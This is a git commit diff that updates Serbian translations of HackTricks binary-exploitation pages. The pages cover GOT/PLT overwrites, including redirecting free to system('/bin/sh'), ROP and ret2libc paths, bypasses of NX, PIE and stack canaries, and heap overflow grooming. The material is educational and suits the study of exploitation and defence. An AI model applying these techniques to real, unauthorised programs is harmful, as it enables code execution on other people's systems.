Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-

This commit is contained in:
Translator 2025-01-04 13:11:16 +00:00
parent 25b197199c
commit f33c299c88
65 changed files with 1172 additions and 1141 deletions

View File

@ -6,15 +6,15 @@
### **GOT: Global Offset Table**
**Global Offset Table (GOT)** je mehanizam koji se koristi u dinamički povezanim binarnim datotekama za upravljanje **adresama spoljašnjih funkcija**. Pošto su te **adrese nepoznate do vremena izvršavanja** (zbog dinamičkog povezivanja), GOT pruža način da se **dinamički ažuriraju adrese ovih spoljašnjih simbola** kada se reše.
**Global Offset Table (GOT)** je mehanizam koji se koristi u dinamički povezanim binarnim datotekama za upravljanje **adresama spoljašnjih funkcija**. Pošto su te **adrese nepoznate do vremena izvršavanja** (zbog dinamičkog povezivanja), GOT pruža način da se **dinamički ažuriraju adrese ovih spoljašnjih simbola** kada se jednom reše.
Svaki unos u GOT odgovara simbolu u spoljnim bibliotekama koje binarna datoteka može pozvati. Kada se **funkcija prvi put pozove, njena stvarna adresa se rešava putem dinamičkog linker-a i čuva u GOT**. Naknadni pozivi iste funkcije koriste adresu koja je sačuvana u GOT, čime se izbegava preopterećenje ponovnog rešavanja adrese.
Svaki unos u GOT odgovara simbolu u spoljnim bibliotekama koje binarna datoteka može pozvati. Kada se **funkcija prvi put pozove, njena stvarna adresa se rešava putem dinamičkog linker-a i čuva u GOT**. Naknadni pozivi iste funkcije koriste adresu koja je sačuvana u GOT, čime se izbegava dodatno opterećenje rešavanja adrese ponovo.
### **PLT: Procedure Linkage Table**
**Procedure Linkage Table (PLT)** blisko sarađuje sa GOT i služi kao trampolin za upravljanje pozivima spoljašnjim funkcijama. Kada binarna datoteka **pozove spoljašnju funkciju prvi put, kontrola se prebacuje na unos u PLT koji je povezan sa tom funkcijom**. Ovaj PLT unos je odgovoran za pozivanje dinamičkog linker-a da reši adresu funkcije ako već nije rešena. Nakon što se adresa reši, ona se čuva u **GOT**.
**Procedure Linkage Table (PLT)** blisko sarađuje sa GOT i služi kao trampolin za upravljanje pozivima spoljašnjim funkcijama. Kada binarna datoteka **prvi put pozove spoljašnju funkciju, kontrola se prebacuje na unos u PLT koji je povezan sa tom funkcijom**. Ovaj PLT unos je odgovoran za pozivanje dinamičkog linker-a da reši adresu funkcije ako već nije rešena. Nakon što se adresa reši, ona se čuva u **GOT**.
**Dakle,** GOT unosi se koriste direktno kada se adresa spoljašnje funkcije ili promenljive reši. **PLT unosi se koriste za olakšavanje inicijalnog rešavanja** ovih adresa putem dinamičkog linker-a.
**Dakle,** GOT unosi se koriste direktno nakon što se adresa spoljašnje funkcije ili promenljive reši. **PLT unosi se koriste za olakšavanje inicijalnog rešavanja** ovih adresa putem dinamičkog linker-a.
## Dobijanje izvršenja
@ -24,7 +24,7 @@ Dobijte adresu GOT tabele sa: **`objdump -s -j .got ./exec`**
![](<../../images/image (121).png>)
Posmatrajte kako nakon **učitavanja** **izvršne datoteke** u GEF možete **videti** **funkcije** koje se nalaze u **GOT**: `gef➤ x/20x 0xADDR_GOT`
Primetite kako nakon **učitavanja** **izvršne datoteke** u GEF možete **videti** **funkcije** koje se nalaze u **GOT**: `gef➤ x/20x 0xADDR_GOT`
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
@ -44,7 +44,7 @@ Možete videti PLT adrese sa **`objdump -j .plt -d ./vuln_binary`**
## libc GOT unosi
**GOT libc** se obično kompajlira sa **delimičnim RELRO**, što ga čini dobrim ciljem za ovo pod pretpostavkom da je moguće utvrditi njegovu adresu ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
**GOT libc** se obično kompajlira sa **delimičnim RELRO**, što ga čini dobrim ciljem za ovo pod pretpostavkom da je moguće utvrditi njegovu adresu ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)).
Uobičajene funkcije libc će pozvati **druge interne funkcije** čiji GOT bi mogao biti prepisan kako bi se dobila izvršna kod.
@ -52,7 +52,7 @@ Pronađite [**više informacija o ovoj tehnici ovde**](https://github.com/nobody
### **Free2system**
U eksploataciji heap-a na CTF-ima je uobičajeno moći kontrolisati sadržaj delova i u nekom trenutku čak i prepisati GOT tabelu. Jednostavna trik da se dobije RCE ako gadgeti nisu dostupni je da se prepiše `free` GOT adresa da pokazuje na `system` i da se unese u deo `"/bin/sh"`. Na ovaj način, kada se ovaj deo oslobodi, izvršiće se `system("/bin/sh")`.
U eksploataciji heap-a na CTF-ima je uobičajeno moći kontrolisati sadržaj delova i u nekom trenutku čak i prepisati GOT tabelu. Jednostavna trik da se dobije RCE ako jedan gadgeti nisu dostupni je da se prepiše `free` GOT adresa da pokazuje na `system` i da se unese u deo `"/bin/sh"`. Na ovaj način, kada se ovaj deo oslobodi, izvršiće se `system("/bin/sh")`.
### **Strlen2system**

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## Osnovne informacije o ELF-u
## ELF Osnovne informacije
Pre nego što počnete da eksploatišete bilo šta, zanimljivo je razumeti deo strukture **ELF binarnog** fajla:
@ -24,10 +24,10 @@ Sa toliko tehnika, dobro je imati shemu kada će svaka tehnika biti korisna. Ima
Postoje različiti načini na koje možete kontrolisati tok programa:
- [**Stack Overflows**](../stack-overflow/) prepisivanjem povratne adrese iz steka ili EBP -> ESP -> EIP.
- [**Stack Overflows**](../stack-overflow/index.html) prepisivanjem povratne adrese iz steka ili EBP -> ESP -> EIP.
- Možda će biti potrebno da zloupotrebite [**Integer Overflows**](../integer-overflow.md) da izazovete prelivanje.
- Ili putem **Arbitrary Writes + Write What Where to Execution**.
- [**Format strings**](../format-strings/)**:** Zloupotreba `printf` za pisanje proizvoljnog sadržaja na proizvoljne adrese.
- [**Format strings**](../format-strings/index.html)**:** Zloupotreba `printf` za pisanje proizvoljnog sadržaja na proizvoljne adrese.
- [**Array Indexing**](../array-indexing.md): Zloupotreba loše dizajniranog indeksiranja kako biste mogli da kontrolišete neke nizove i dobijete proizvoljno pisanje.
- Možda će biti potrebno da zloupotrebite [**Integer Overflows**](../integer-overflow.md) da izazovete prelivanje.
- **bof to WWW via ROP**: Zloupotreba prelivanja bafera za konstrukciju ROP-a i mogućnost dobijanja WWW.
@ -42,7 +42,7 @@ Možete pronaći tehnike **Write What Where to Execution** u:
Nešto što treba uzeti u obzir je da obično **samo jedna eksploatacija ranjivosti možda neće biti dovoljna** da se izvrši uspešna eksploatacija, posebno neke zaštite treba zaobići. Stoga, zanimljivo je raspraviti o nekim opcijama za **učiniti jednu ranjivost eksploatabilnom više puta** u istoj izvršnoj instanci binarnog fajla:
- Pisanje u **ROP** lanac adrese **`main` funkcije** ili na adresu gde se dešava **ranjivost**.
- Pisanje u **ROP** lancu adrese **`main` funkcije** ili na adresu gde se **ranjivost** dešava.
- Kontrolisanjem odgovarajućeg ROP lanca možda ćete moći da izvršite sve akcije u tom lancu.
- Pisanje u **`exit` adresu u GOT** (ili bilo koju drugu funkciju koju koristi binarni fajl pre završetka) adresu za **povratak na ranjivost**.
- Kao što je objašnjeno u [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** ovde čuvajte 2 funkcije, jednu za ponovno pozivanje ranjivosti i drugu za pozivanje **`__libc_csu_fini`** koja će ponovo pozvati funkciju iz `.fini_array`.
@ -52,60 +52,60 @@ Nešto što treba uzeti u obzir je da obično **samo jedna eksploatacija ranjivo
### Cilj: Pozvati postojeću funkciju
- [**ret2win**](#ret2win): Postoji funkcija u kodu koju treba pozvati (možda sa nekim specifičnim parametrima) kako biste dobili zastavicu.
- U **običnom bof bez** [**PIE**](../common-binary-protections-and-bypasses/pie/) **i** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) samo treba da upišete adresu u povratnu adresu koja je sačuvana u steku.
- U bof-u sa [**PIE**](../common-binary-protections-and-bypasses/pie/), moraćete da je zaobiđete.
- U bof-u sa [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), moraćete da je zaobiđete.
- Ako treba da postavite nekoliko parametara da biste ispravno pozvali funkciju **ret2win**, možete koristiti:
- U **običnom bof bez** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **i** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) samo treba da upišete adresu u povratnu adresu smeštenu u steku.
- U bof-u sa [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), moraćete da je zaobiđete.
- U bof-u sa [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html), moraćete da je zaobiđete.
- Ako treba da postavite nekoliko parametara da biste ispravno pozvali **ret2win** funkciju, možete koristiti:
- [**ROP**](#rop-and-ret2...-techniques) **lanac ako ima dovoljno gadgeta** da pripremite sve parametre.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (u slučaju da možete pozvati ovaj syscall) da kontrolišete mnogo registara.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (u slučaju da možete pozvati ovaj syscall) da kontrolišete mnogo registara.
- Gadgeti iz [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) i [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) za kontrolu više registara.
- Putem [**Write What Where**](../arbitrary-write-2-exec/) mogli biste zloupotrebiti druge ranjivosti (ne bof) da pozovete funkciju **`win`**.
- Putem [**Write What Where**](../arbitrary-write-2-exec/index.html) mogli biste zloupotrebiti druge ranjivosti (ne bof) da pozovete **`win`** funkciju.
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): U slučaju da stek sadrži pokazivače na funkciju koja će biti pozvana ili na string koji će koristiti zanimljiva funkcija (system ili printf), moguće je prepisati tu adresu.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ili [**PIE**](../common-binary-protections-and-bypasses/pie/) mogu uticati na adrese.
- [**Neinicijalizovane promenljive**](../stack-overflow/uninitialized-variables.md): Nikad ne znate.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ili [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) mogu uticati na adrese.
- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): Nikad ne znate.
### Cilj: RCE
#### Putem shellcode-a, ako je nx onemogućen ili mešanjem shellcode-a sa ROP-om:
#### Putem shellcode-a, ako je nx onemogućen ili mešanjem shellcode-a sa ROP:
- [**(Stack) Shellcode**](#stack-shellcode): Ovo je korisno za skladištenje shellcode-a u steku pre ili posle prepisivanja povratne adrese i zatim **skakanje na njega** da ga izvršite:
- **U svakom slučaju, ako postoji** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** u običnom bof-u moraćete da je zaobiđete (leak).
- **Bez** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **i** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) moguće je skočiti na adresu steka jer se nikada neće promeniti.
- **Sa** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) moraćete da koristite tehnike kao što su [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) da biste skočili na njega.
- **Sa** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), moraćete da koristite neki [**ROP**](../rop-return-oriented-programing/) **da pozovete `memprotect`** i učinite neku stranicu `rwx`, kako biste zatim **sačuvali shellcode tamo** (pozivajući read, na primer) i zatim skočili tamo.
- Ovo će pomešati shellcode sa ROP lancem.
- [**(Stack) Shellcode**](#stack-shellcode): Ovo je korisno za smeštanje shellcode-a u stek pre ili posle prepisivanja povratne adrese i zatim **skakanja na njega** da ga izvršite:
- **U svakom slučaju, ako postoji** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** u običnom bof-u moraćete da je zaobiđete (leak).
- **Bez** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **i** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) moguće je skočiti na adresu steka jer se nikada neće promeniti.
- **Sa** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) moraćete da koristite tehnike kao što su [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) da biste skočili na njega.
- **Sa** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), moraćete da koristite neki [**ROP**](../rop-return-oriented-programing/index.html) **da pozovete `memprotect`** i učinite neku stranicu `rwx`, kako biste zatim **smeštali shellcode tamo** (pozivajući read, na primer) i zatim skočili tamo.
- Ovo će mešati shellcode sa ROP lancem.
#### Putem syscalls
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Korisno za pozivanje `execve` da izvrši proizvoljne komande. Morate biti u mogućnosti da pronađete **gadgete za pozivanje specifičnog syscall-a sa parametrima**.
- Ako su [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ili [**PIE**](../common-binary-protections-and-bypasses/pie/) omogućeni, moraćete da ih savladate **da biste koristili ROP gadgete** iz binarnog fajla ili biblioteka.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) može biti koristan za pripremu **ret2execve**.
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): Korisno za pozivanje `execve` da izvrši proizvoljne komande. Morate biti u mogućnosti da pronađete **gadgete za pozivanje specifičnog syscall-a sa parametrima**.
- Ako su [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ili [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) omogućeni, moraćete da ih savladate **da biste koristili ROP gadgete** iz binarnog fajla ili biblioteka.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) može biti koristan za pripremu **ret2execve**.
- Gadgeti iz [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) i [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) za kontrolu više registara.
#### Putem libc
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Korisno za pozivanje funkcije iz biblioteke (obično iz **`libc`**) kao što je **`system`** sa nekim pripremljenim argumentima (npr. `'/bin/sh'`). Potrebno je da binarni fajl **učita biblioteku** sa funkcijom koju želite da pozovete (libc obično).
- Ako je **staticki kompajliran i bez** [**PIE**](../common-binary-protections-and-bypasses/pie/), **adrese** `system` i `/bin/sh` se neće menjati, tako da ih je moguće koristiti statički.
- **Bez** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **i znajući verziju libc** koja je učitana, **adrese** `system` i `/bin/sh` se neće menjati, tako da ih je moguće koristiti statički.
- Sa [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ali bez** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, znajući libc i sa binarnim fajlom koji koristi funkciju `system` moguće je **`ret` na adresu system u GOT** sa adresom `'/bin/sh'` u parametru (to ćete morati da otkrijete).
- Sa [ASLR](../common-binary-protections-and-bypasses/aslr/) ali bez [PIE](../common-binary-protections-and-bypasses/pie/), znajući libc i **bez binarnog fajla koji koristi `system`**:
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Korisno za pozivanje funkcije iz biblioteke (obično iz **`libc`**) kao što je **`system`** sa nekim pripremljenim argumentima (npr. `'/bin/sh'`). Potrebno je da binarni fajl **učita biblioteku** sa funkcijom koju želite da pozovete (libc obično).
- Ako je **staticki kompajliran i bez** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), **adresa** `system` i `/bin/sh` se neće menjati, tako da ih je moguće koristiti statički.
- **Bez** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **i znajući verziju libc** koja je učitana, **adresa** `system` i `/bin/sh` se neće menjati, tako da ih je moguće koristiti statički.
- Sa [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **ali bez** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, znajući libc i sa binarnim fajlom koji koristi `system`** funkciju, moguće je **`ret` na adresu system u GOT** sa adresom `'/bin/sh'` u parametru (to ćete morati da otkrijete).
- Sa [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) ali bez [PIE](../common-binary-protections-and-bypasses/pie/index.html), znajući libc i **bez binarnog fajla koji koristi `system`**:
- Koristite [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) da rešite adresu `system` i pozovete je.
- **Zaobiđite** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) i izračunajte adresu `system` i `'/bin/sh'` u memoriji.
- **Sa** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **i** [**PIE**](../common-binary-protections-and-bypasses/pie/) **i ne znajući libc**: Morate:
- Zaobići [**PIE**](../common-binary-protections-and-bypasses/pie/).
- Pronaći **verziju `libc`** koja se koristi (leak nekoliko adresa funkcija).
- **Zaobiđite** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) i izračunajte adresu `system` i `'/bin/sh'` u memoriji.
- **Sa** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **i** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **i ne znajući libc**: Morate:
- Zaobići [**PIE**](../common-binary-protections-and-bypasses/pie/index.html).
- Pronaći **`libc` verziju** koja se koristi (leak nekoliko adresa funkcija).
- Proveriti **prethodne scenarije sa ASLR** da nastavite.
#### Putem EBP/RBP
- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Kontrolisanje ESP-a da kontrolišete RET putem sačuvanog EBP-a u steku.
- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Kontrola ESP-a da kontrolišete RET putem smeštenog EBP-a u steku.
- Korisno za **off-by-one** prelivanja steka.
- Korisno kao alternativni način da se završi kontrola EIP-a dok zloupotrebljavate EIP za konstrukciju payload-a u memoriji i zatim skakanje na njega putem EBP-a.
#### Razno
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): U slučaju da stek sadrži pokazivače na funkciju koja će biti pozvana ili na string koji će koristiti zanimljiva funkcija (system ili printf), moguće je prepisati tu adresu.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ili [**PIE**](../common-binary-protections-and-bypasses/pie/) mogu uticati na adrese.
- [**Neinicijalizovane promenljive**](../stack-overflow/uninitialized-variables.md): Nikad ne znate.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ili [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) mogu uticati na adrese.
- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): Nikad ne znate.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,13 +4,13 @@
## Osnovne informacije
**No-Execute (NX)** bit, takođe poznat kao **Execute Disable (XD)** u Intel terminologiji, je hardverska bezbednosna funkcija dizajnirana da **ublaži** efekte **buffer overflow** napada. Kada se implementira i aktivira, razlikuje između memorijskih regiona koji su namenjeni za **izvršni kod** i onih koji su namenjeni za **podatke**, kao što su **stack** i **heap**. Osnovna ideja je da se spreči napadač da izvrši zlonamerni kod kroz ranjivosti buffer overflow tako što će staviti zlonamerni kod u stack, na primer, i usmeriti tok izvršenja ka njemu.
**No-Execute (NX)** bit, poznat i kao **Execute Disable (XD)** u Intel terminologiji, je hardverska bezbednosna funkcija dizajnirana da **ublaži** efekte **buffer overflow** napada. Kada se implementira i omogući, razlikuje između memorijskih regiona koji su namenjeni za **izvršni kod** i onih koji su namenjeni za **podatke**, kao što su **stack** i **heap**. Osnovna ideja je da se spreči napadač da izvrši zlonamerni kod kroz ranjivosti buffer overflow tako što će staviti zlonamerni kod u stack, na primer, i usmeriti tok izvršenja ka njemu.
## Obilaženja
## Bypasses
- Moguće je koristiti tehnike kao što su [**ROP**](../rop-return-oriented-programing/) **da se obezbedi** ovo zaštita izvršavanjem delova izvršnog koda koji su već prisutni u binarnom fajlu.
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
- Moguće je koristiti tehnike kao što su [**ROP**](../rop-return-oriented-programing/index.html) **da zaobiđu** ovu zaštitu izvršavanjem delova izvršnog koda koji su već prisutni u binarnom fajlu.
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/index.html)
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html)
- **Ret2...**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Osnovne informacije
Binarni fajl kompajliran kao PIE, ili **izvršni fajl nezavisne pozicije**, znači da se **program može učitati na različitim memorijskim lokacijama** svaki put kada se izvrši, sprečavajući hardkodirane adrese.
Binarni fajl kompajliran kao PIE, ili **Position Independent Executable**, znači da se **program može učitati na različitim memorijskim lokacijama** svaki put kada se izvrši, sprečavajući hardkodirane adrese.
Trik za iskorišćavanje ovih binarnih fajlova leži u iskorišćavanju **relativnih adresa**—ofseti između delova programa ostaju isti čak i ako se apsolutne lokacije menjaju. Da biste **obišli PIE, potrebno je da iscuri jedna adresa**, obično sa **stack-a** koristeći ranjivosti poput napada format string. Kada dobijete adresu, možete izračunati druge prema njihovim **fiksnim ofsetima**.
@ -23,7 +23,7 @@ Da biste obišli PIE potrebno je **iscuriti neku adresu učitanog** binarnog faj
bypassing-canary-and-pie.md
{{#endref}}
- Koristite **arbitrarno čitanje** ranjivost kao što je [**format string**](../../format-strings/) da iscurite adresu binarnog fajla (npr. sa stack-a, kao u prethodnoj tehnici) da dobijete osnovu binarnog fajla i koristite ofsete odatle. [**Pronađite primer ovde**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
- Koristite **arbitrarno čitanje** ranjivost kao što je [**format string**](../../format-strings/index.html) da iscurite adresu binarnog fajla (npr. sa stack-a, kao u prethodnoj tehnici) da dobijete osnovu binarnog fajla i koristite ofsete odatle. [**Pronađite primer ovde**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## Reference

View File

@ -2,47 +2,47 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Osnovne informacije
Heap overflow je kao [**stack overflow**](../stack-overflow/) ali u heap-u. U suštini, to znači da je neki prostor rezervisan u heap-u za skladištenje podataka i **skladišteni podaci su bili veći od rezervisanog prostora.**
Heap overflow je kao [**stack overflow**](../stack-overflow/index.html) ali u heap-u. U suštini to znači da je neki prostor rezervisan u heap-u za skladištenje podataka i **skladišteni podaci su bili veći od rezervisanog prostora.**
U stack overflow-ima znamo da će neki registri kao što su pokazivač instrukcija ili stack frame biti vraćeni iz stack-a i to bi moglo biti moguće zloupotrebiti. U slučaju heap overflow-a, **nema osetljivih informacija koje se po defaultu čuvaju** u heap chunk-u koji može biti preplavljen. Međutim, to mogu biti osetljive informacije ili pokazivači, tako da **kritičnost** ove ranjivosti **zavisi** od **koji podaci mogu biti prepisani** i kako bi napadač mogao to zloupotrebiti.
U stack overflow-ima znamo da će neki registri poput pokazivača instrukcija ili stack frame-a biti vraćeni iz stack-a i to bi moglo biti moguće zloupotrebiti. U slučaju heap overflow-a, **nema osetljivih informacija koje se po defaultu čuvaju** u heap chunk-u koji može biti overflow-ovan. Međutim, to mogu biti osetljive informacije ili pokazivači, tako da **kritičnost** ove ranjivosti **zavisi** od **koji podaci mogu biti prepisani** i kako bi napadač mogao to zloupotrebiti.
> [!TIP]
> Da biste pronašli offset-e prelivanja, možete koristiti iste obrasce kao u [**stack overflow-ima**](../stack-overflow/index.html#finding-stack-overflows-offsets).
> Da biste pronašli offset-e overflow-a, možete koristiti iste obrasce kao u [**stack overflow-ima**](../stack-overflow/index.html#finding-stack-overflows-offsets).
### Stack Overflows vs Heap Overflows
### Stack Overflow vs Heap Overflow
U stack overflow-ima, raspored i podaci koji će biti prisutni u stack-u u trenutku kada se ranjivost može aktivirati su prilično pouzdani. To je zato što je stack linearan, uvek se povećava u kolidirajućoj memoriji, u **specifičnim mestima izvršavanja programa stack memorija obično čuva slične vrste podataka** i ima neku specifičnu strukturu sa nekim pokazivačima na kraju dela stack-a koji koristi svaka funkcija.
U stack overflow-ima raspored i podaci koji će biti prisutni u stack-u u trenutku kada se ranjivost može aktivirati su prilično pouzdani. To je zato što je stack linearan, uvek se povećava u kolidirajućoj memoriji, u **specifičnim mestima izvršavanja programa stack memorija obično čuva slične vrste podataka** i ima neku specifičnu strukturu sa nekim pokazivačima na kraju dela stack-a koji koristi svaka funkcija.
Međutim, u slučaju heap overflow-a, korišćena memorija nije linearna, već su **alokacije obično u odvojenim pozicijama memorije** (ne jedna pored druge) zbog **bins i zona** koje razdvajaju alokacije po veličini i zato što se **prethodno oslobođena memorija koristi** pre nego što se alociraju novi chunk-ovi. **Teško je znati koji objekat će se sudariti sa onim koji je ranjiv** na heap overflow. Dakle, kada se pronađe heap overflow, potrebno je pronaći **pouzdan način da se željeni objekat postavi pored u memoriji** onog koji može biti preplavljen.
Međutim, u slučaju heap overflow-a, korišćena memorija nije linearna, već su **alokirani chunk-ovi obično na odvojenim pozicijama memorije** (ne jedan pored drugog) zbog **bins i zona** koje razdvajaju alokacije po veličini i zato što se **prethodno oslobođena memorija koristi** pre nego što se alociraju novi chunk-ovi. **Teško je znati objekat koji će kolidirati sa onim koji je ranjiv** na heap overflow. Dakle, kada se pronađe heap overflow, potrebno je pronaći **pouzdan način da se željeni objekat postavi pored u memoriji** onog koji može biti overflow-ovan.
Jedna od tehnika koja se koristi za ovo je **Heap Grooming** koja se koristi, na primer, [**u ovom postu**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). U postu se objašnjava kako kada u iOS kernel-u zona ostane bez memorije za skladištenje chunk-ova, ona se širi za kernel stranicu, a ova stranica se deli na chunk-ove očekivanih veličina koji će se koristiti redom (do iOS verzije 9.2, zatim se ovi chunk-ovi koriste na randomizovan način kako bi se otežala eksploatacija ovih napada).
Jedna od tehnika koja se koristi za ovo je **Heap Grooming** koja se koristi, na primer, [**u ovom postu**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). U postu se objašnjava kako kada u iOS kernel-u zona ostane bez memorije za skladištenje chunk-ova memorije, ona se širi za kernel stranicu, a ova stranica se deli na chunk-ove očekivanih veličina koji će se koristiti redom (do iOS verzije 9.2, zatim se ovi chunk-ovi koriste na randomizovan način kako bi se otežala eksploatacija ovih napada).
Stoga, u prethodnom postu gde se dešava heap overflow, kako bi se primorao preplavljeni objekat da se sudari sa objektom žrtvom, nekoliko **`kallocs` se primorava od strane nekoliko niti kako bi se pokušalo osigurati da su svi slobodni chunk-ovi popunjeni i da je stvorena nova stranica**.
Stoga, u prethodnom postu gde se dešava heap overflow, kako bi se primorao overflow-ovani objekat da kolidira sa objektom žrtvom, nekoliko **`kallocs` se primorava od strane nekoliko niti kako bi se pokušalo osigurati da su svi slobodni chunk-ovi popunjeni i da je stvorena nova stranica**.
Da bi se primoralo ovo popunjavanje objektima specifične veličine, **alokacija van linije povezana sa iOS mach port-om** je idealan kandidat. Prilagođavanjem veličine poruke, moguće je tačno odrediti veličinu `kalloc` alokacije i kada se odgovarajući mach port uništi, odgovarajuća alokacija će odmah biti vraćena nazad na `kfree`.
Da bi se primoralo ovo popunjavanje objektima specifične veličine, **out-of-line alokacija povezana sa iOS mach port-om** je idealan kandidat. Prilagođavanjem veličine poruke, moguće je tačno odrediti veličinu `kalloc` alokacije i kada se odgovarajući mach port uništi, odgovarajuća alokacija će odmah biti vraćena nazad `kfree`.
Zatim, neki od ovih mesta mogu biti **oslobođeni**. **`kalloc.4096` slobodna lista oslobađa elemente u redosledu poslednji ulaz, prvi izlaz**, što u suštini znači da ako su neka mesta oslobođena i eksploatacija pokušava da alocira nekoliko objekata žrtava dok pokušava da alocira objekat ranjiv na prelivanje, verovatno je da će ovaj objekat biti praćen objektom žrtvom.
Zatim, neki od ovih mesta mogu biti **oslobođeni**. **`kalloc.4096` slobodna lista oslobađa elemente u redosledu poslednji ulaz-prvi izlaz**, što u suštini znači da ako su neka mesta oslobođena i eksploatacija pokušava da alocira nekoliko objekata žrtava dok pokušava da alocira objekat ranjiv na overflow, verovatno je da će ovaj objekat biti praćen objektom žrtvom.
### Example libc
### Primer libc
[**Na ovoj stranici**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) moguće je pronaći osnovnu emulaciju heap overflow-a koja pokazuje kako prepisivanje prev in use bita sledećeg chunk-a i pozicije prev size omogućava **konzolidaciju korišćenog chunk-a** (praveći ga da misli da je neiskorišćen) i **zatim ga ponovo alocirati** uz mogućnost prepisivanja podataka koji se koriste u drugom pokazivaču.
[**Na ovoj stranici**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) moguće je pronaći osnovnu emulaciju Heap overflow-a koja pokazuje kako prepisivanje prev in use bita sledećeg chunk-a i pozicije prev veličine omogućava **konzolidaciju korišćenog chunk-a** (praveći da misli da je neiskorišćen) i **zatim ponovo alocirati** omogućavajući prepisivanje podataka koji se koriste u različitom pokazivaču.
Još jedan primer iz [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) pokazuje vrlo osnovan primer CTF-a gde se **heap overflow** može zloupotrebiti da pozove funkciju pobednika da **dobije zastavu**.
Još jedan primer iz [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) pokazuje vrlo osnovan primer CTF-a gde se **heap overflow** može zloupotrebiti da pozove funkciju pobednika da **dobije zastavicu**.
U [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) primeru moguće je videti kako zloupotreba prelivanja bafera može **prepisati u bliskom chunk-u adresu** gde će **arbitrarni podaci od korisnika** biti napisani.
